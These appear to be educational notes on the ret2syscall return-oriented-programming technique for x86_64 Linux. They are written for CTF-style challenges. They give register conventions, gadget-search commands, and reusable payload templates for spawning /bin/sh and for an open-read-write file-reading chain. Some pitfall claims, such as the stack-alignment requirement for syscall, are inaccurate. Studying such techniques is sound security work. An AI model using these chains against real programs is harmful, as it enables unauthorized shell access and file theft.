ret2system
Table of Contents
ret2syscall Exploitation Notes (for x86_64 Linux)
Basic Concept
ret2syscall is a ROP technique that directly invokes Linux kernel syscalls by controlling registers and then triggering the syscall instruction.
Common uses:
-
Call
execve("/bin/sh", 0, 0)to get a shell -
Call
open/read/writeto read files -
Sometimes used to exit the program (exit)
The advantage of ret2syscall is:
No libc required, no system required; only a syscall instruction somewhere in the program is needed.
syscall Calling Convention (x86_64)
Under Linux, syscalls pass arguments through the following registers:
| Function | Register |
|---|---|
| Syscall number | rax |
| 1st argument | rdi |
| 2nd argument | rsi |
| 3rd argument | rdx |
| 4th argument | r10 |
| 5th argument | r8 |
| 6th argument | r9 |
To trigger a syscall, you must execute:
syscallCommon syscall IDs:
| Syscall | Number |
|---|---|
| execve | 59 |
| open | 2 |
| read | 0 |
| write | 1 |
The most common setup is:
execve("/bin/sh", 0, 0)Corresponding registers:
rax = 59rdi = "/bin/sh" 地址rsi = 0rdx = 0syscallFinding a syscall Gadget
Programs often contain something like:
0x401234: syscallCommonly from:
- Error-handling stubs
- __libc_start_main in the PLT
- Manually written assembly sections
How to search:
ROPgadget --binary ./pwn | grep syscallOr search in IDA:
text:0000000000402404 syscallUsually we only need the syscall instruction itself, because rax/rdi/rsi/rdx can be set with other gadgets.
Example Flow for Building execve(“/bin/sh”)
A typical ret2syscall chain:
-
Place the string “/bin/sh\0” at a controllable address
-
Find gadgets for popping registers:
-
pop rdi; ret
-
pop rsi; ret
-
pop rdx; ret
-
pop rax; ret
-
-
Set the registers
-
Jump to syscall
Trampoline Stack Diagram (ASCII Stack Example)
Below is a typical top-down stack diagram. Your preferred rbp-x style corresponds to rsp+x offsets in ROP, so I keep the same style here:
rsp+0x00 → [ pop rax; ret ]rsp+0x08 → [ 59 ] ; execve syscall numberrsp+0x10 → [ pop rdi; ret ]rsp+0x18 → [ binsh_addr ] ; "/bin/sh"rsp+0x20 → [ pop rsi; ret ]rsp+0x28 → [ 0 ]rsp+0x30 → [ pop rdx; ret ]rsp+0x38 → [ 0 ]rsp+0x40 → [ syscall ] ; 最终触发 execve("/bin/sh",0,0)Actual execution order:
-
pop rax → rax=59
-
pop rdi → rdi=“/bin/sh”
-
pop rsi → rsi=0
-
pop rdx → rdx=0
-
syscall → execve(“/bin/sh”)
Placing the “/bin/sh” String
It is usually written into the bss section:
binsh = bss_addr + 0x100payload += pop_rdi; retpayload += binshpayload += write_str("/bin/sh\0")Or directly use the address in libc (if libc has been leaked):
next(libc.search(b"/bin/sh"))But ret2syscall usually does not depend on libc, so writing it to bss is recommended.
Common syscall Combination Templates
The following structures can be reused directly.
execve(“/bin/sh”, 0, 0)
payload = b"A"*offsetpayload += p64(pop_rax)payload += p64(59)payload += p64(pop_rdi)payload += p64(binsh_addr)payload += p64(pop_rsi)payload += p64(0)payload += p64(pop_rdx)payload += p64(0)payload += p64(syscall)open-read-write Pattern
Open the file first, then read and write:
rax = 2 openrdi = filenamersi = 0rdx = 0syscall
rax = 0 readrdi = fdrsi = bufrdx = lensyscall
rax = 1 writerdi = 1rsi = bufrdx = lensyscallCan be used to read the flag or any arbitrary file.
Common Pitfalls
1. The syscall gadget may fail
Some programs have custom sandboxes, or syscall may be non-executable in certain sections.
2. Stack alignment issues (very important)
On x86_64, before executing syscall, the system requires:
rsp % 16 == 0Otherwise it may crash (or trigger unexpected behavior).
Usually, make the post-ret stack address:
payload_len % 16 == 8Because ret makes rsp+=8, turning it into 16-byte alignment.
3. Cannot find pop-register gadgets
You can use the universal gadget in __libc_csu_init (the ret2csu technique you often use) to set registers.
4. No syscall in the program?
In these challenges, syscall is usually hidden somewhere, generally in:
__libc_start_main init stub错误处理段exit stubret2syscall vs ret2libc / ret2system
Comparison:
| Method | Dependency | Advantage |
|---|---|---|
| ret2libc | libc leak | Stable |
| ret2system | system() in libc | Simple to build |
| ret2syscall | Only needs syscall and some pop gadgets | Lightest dependencies, most universal, can bypass environments where libc is disabled |
When PIE, NX, and Canaries are all absent: ret2syscall is the strongest weapon.